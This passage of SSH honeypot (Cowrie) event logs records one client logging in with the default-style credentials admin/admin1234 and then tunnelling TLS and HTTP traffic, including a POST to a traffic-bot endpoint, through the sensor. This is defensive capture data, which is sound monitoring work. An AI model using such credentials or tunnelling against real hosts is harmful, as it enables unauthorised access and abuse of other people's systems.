\\xee\\xb2sI\\x90}f\\xe9\\xe9\\xb3;l\\xce\\xe6Fs\\xb7T@\\x13hwW\\xd0\\x85\\x9d\\xa3\\xa8r\\xde\\xbe\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03jhg\\x99\\xe2Nl\\xd3\\xb9\\xff\\xcd\\xee_Y\\xe9\\x91k!\\x9c\\xb2\\xee\\xdcAL?\\xda\\x8bq\\xbb\\xc2\\n\\xe5 \\xf8\\xfb\\x1a\\x9a\\x8dR\\xf0$\\xcfX\\x10\\x8f\\xd3\\xe8@\\xb3\\x1d\\xdf\\x08Iz\\x7f\\x01G\\xfe\\r9\\x8fRgy\\x80\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\xb2sI\\x90}f\\xe9\\xe9\\xb3;l\\xce\\xe6Fs\\xb7T@\\x13hwW\\xd0\\x85\\x9d\\xa3\\xa8r\\xde\\xbe\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.782470Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59085,"dst_ip":"10.17.0.5","dst_port":22,"session":"533bfac0141c","protocol":"ssh","message":"New connection: 123.27.168.40:59085 (10.17.0.5:22) [session: 533bfac0141c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.905229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:45.910249Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:46.224871Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:47.489802Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.068483Z","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.201798Z","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.483179Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; Readboy_G600 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fkg2bCN7MCp4ZypfODZhRw%3D%3DDGOG7x80BxK5G0Yhkw8PltnJa%2BrBMmt4vFaf%2FD7pHkIHX%2Fsjvcf6JReGES%2Bt%2FZW%2FmlxgDDUW%2F%2FfzkkvGKe9zl%2FgrxDtNR%2F8zKVTvyMG35qtZh7k3PEj4TrDFFVtGClrrHJcYy6GYo5oQq%2BknNDFKOe%2BxagxJ8C2vIWyFD25zqOvQVYo3adDGUN%2F6Q6dnlT0AD30pwI3Y1FF4zwB3xZch3k5amI8P%2Brq6u3r5209wJnitWzQ%2FayUZ9RVFWVZUfKRycRM8H4WlSNZbQ3Sg937%2B41RFVbTRHUD2tPKUV%2FPOwOKcAQ5R3YwMjozd4qqdA18DtlGGiMVZ0SDwKUHhVRyDRFGkMio1O%2Bvn1W4ktT3tFxjWYhFH9B0hcvOSfko%2BJLXBstBiQgnlavOqbsEX0QbI33dSwha3boiQOaj7kjixp41iiGJW8Zbq5NdaTrk6VRjgNAhktRUCiWmXCNgsaPZ%2FPqoDZfjWignU%2Bp3e5WCb%2BPWIcSlUAMngq3CnvEcBXCqHs0LmD5Xdgm09weO1VMOy4BJMj1ofant7HmP3u4241VJ2WbEqXoSq%2BUgy%2FjMUMWy%2FCJQV70lMfzRmXbjX5tEPYuvW5TRDeCiH4I4h6nV6ylh1owyo%2B8rORXBoRjgOlCra4KKBtE5WiUKFRJvDmdKvh7Zrp7P2316junkuq0PHg%2BBFVZhGYpaLcaNS49l5nyUBYadIVh%2FxFfVlptRYShIiqu%2FhWorvRxE%2FRh61n%2BTLbEThoRiSWr1hfZd2jE9od1%2FqiwInBAM6s7X2qdWbQ0DUm3LEVc3RieIMo7EMGjIqeUyzgB2Nz8gCOTIQUdod2S8e4Ob0CvQKdLqsBqp45CUZoqu774WJ9xg3JTy7Zwj8STGj7DsEAiOnpiUSJWLwy%2FdC2bxTrB0nGxiASvJz6j7ckgwi7kSYR5xDLIJsWexyTek0XDNiXX6mC6ZhHz59xlD82xMNoE4U0p9%2F2UHVe%2FD8o9%2BP7f5%2BFXzkG%2Fwi2y6at%2BMjNpj4ROcnz4D%2Btq7z%2BV0hv5nddqITYx9iTn39JUeLskWsvqeca92EvUpwPQ16aUAXoLiPDUjVZ7bTOMBCqzLS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; Readboy_G600 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fkg2bCN7MCp4ZypfODZhRw%3D%3DDGOG7x80BxK5G0Yhkw8PltnJa%2BrBMmt4vFaf%2FD7pHkIHX%2Fsjvcf6JReGES%2Bt%2FZW%2FmlxgDDUW%2F%2FfzkkvGKe9zl%2FgrxDtNR%2F8zKVTvyMG35qtZh7k3PEj4TrDFFVtGClrrHJcYy6GYo5oQq%2BknNDFKOe%2BxagxJ8C2vIWyFD25zqOvQVYo3adDGUN%2F6Q6dnlT0AD30pwI3Y1FF4zwB3xZch3k5amI8P%2Brq6u3r5209wJnitWzQ%2FayUZ9RVFWVZUfKRycRM8H4WlSNZbQ3Sg937%2B41RFVbTRHUD2tPKUV%2FPOwOKcAQ5R3YwMjozd4qqdA18DtlGGiMVZ0SDwKUHhVRyDRFGkMio1O%2Bvn1W4ktT3tFxjWYhFH9B0hcvOSfko%2BJLXBstBiQgnlavOqbsEX0QbI33dSwha3boiQOaj7kjixp41iiGJW8Zbq5NdaTrk6VRjgNAhktRUCiWmXCNgsaPZ%2FPqoDZfjWignU%2Bp3e5WCb%2BPWIcSlUAMngq3CnvEcBXCqHs0LmD5Xdgm09weO1VMOy4BJMj1ofant7HmP3u4241VJ2WbEqXoSq%2BUgy%2FjMUMWy%2FCJQV70lMfzRmXbjX5tEPYuvW5TRDeCiH4I4h6nV6ylh1owyo%2B8rORXBoRjgOlCra4KKBtE5WiUKFRJvDmdKvh7Zrp7P2316junkuq0PHg%2BBFVZhGYpaLcaNS49l5nyUBYadIVh%2FxFfVlptRYShIiqu%2FhWorvRxE%2FRh61n%2BTLbEThoRiSWr1hfZd2jE9od1%2FqiwInBAM6s7X2qdWbQ0DUm3LEVc3RieIMo7EMGjIqeUyzgB2Nz8gCOTIQUdod2S8e4Ob0CvQKdLqsBqp45CUZoqu774WJ9xg3JTy7Zwj8STGj7DsEAiOnpiUSJWLwy%2FdC2bxTrB0nGxiASvJz6j7ckgwi7kSYR5xDLIJsWexyTek0XDNiXX6mC6ZhHz59xlD82xMNoE4U0p9%2F2UHVe%2FD8o9%2BP7f5%2BFXzkG%2Fwi2y6at%2BMjNpj4ROcnz4D%2Btq7z%2BV0hv5nddqITYx9iTn39JUeLskWsvqeca92EvUpwPQ16aUAXoLiPDUjVZ7bTOMBCqzLS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.486794Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.721421Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xd7\\x89\\x97\\xd3\\x14\\xcc\\xcb?\\xb9\\x11\\x0c\\xb5\\x8f\\xdb\\xf0\\xa5\\x8f#\\x00\\x0c\\xc5=\\xb4xO;\\xd2\\x97I\\xf29 \\xf42o\\x1c\\x90\\xf9H\\xb2g\\xb1\\x14\\x83\\xebUpyN2\\xf0')\\x9a;\\xf1\\x8b\\x93\\xc5h\\xbeA\\x0cU\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 Aw\\xa8\\xa3V\\x82\\xd9\\x81\\xc4\\x8e,\\xc0\\xa4,b\\xc3\\xbe\\x92\\xedm\\xa7\\xf6Ev[\\x01\\xdc\\xe5\\xd4\\x85\\xec$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xd7\\x89\\x97\\xd3\\x14\\xcc\\xcb?\\xb9\\x11\\x0c\\xb5\\x8f\\xdb\\xf0\\xa5\\x8f#\\x00\\x0c\\xc5=\\xb4xO;\\xd2\\x97I\\xf29 \\xf42o\\x1c\\x90\\xf9H\\xb2g\\xb1\\x14\\x83\\xebUpyN2\\xf0')\\x9a;\\xf1\\x8b\\x93\\xc5h\\xbeA\\x0cU\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 Aw\\xa8\\xa3V\\x82\\xd9\\x81\\xc4\\x8e,\\xc0\\xa4,b\\xc3\\xbe\\x92\\xedm\\xa7\\xf6Ev[\\x01\\xdc\\xe5\\xd4\\x85\\xec$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:48.724542Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:49.199997Z","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:49.443040Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88x7\\x0b\\xcb\\xdeH\\x1b\\xe46\\xc8p\\ns&\\x8a\\x84:\\xec)\\x94\\x8aD\\x90\\xc1)]\\xab\\xf53\\xbb$ >\\xfeT\\x15\\nhc\\xb8z\\x1c\"1\\xe2\\n.<1\\xc5\\xd4\\x8f{\\\\\\xeb\\xccY\\x08\\xe8~\\xcci\\xc7\\x01\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\x9e\\xcf\\xab0\\xf8\\xbd\\x16Ip\\xefx KY\\xbb\\'\\xce\\xfe\\xde\\xc0\\xaf#}\\xb6,\\x8at\\xc3\\x11\\xb0F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00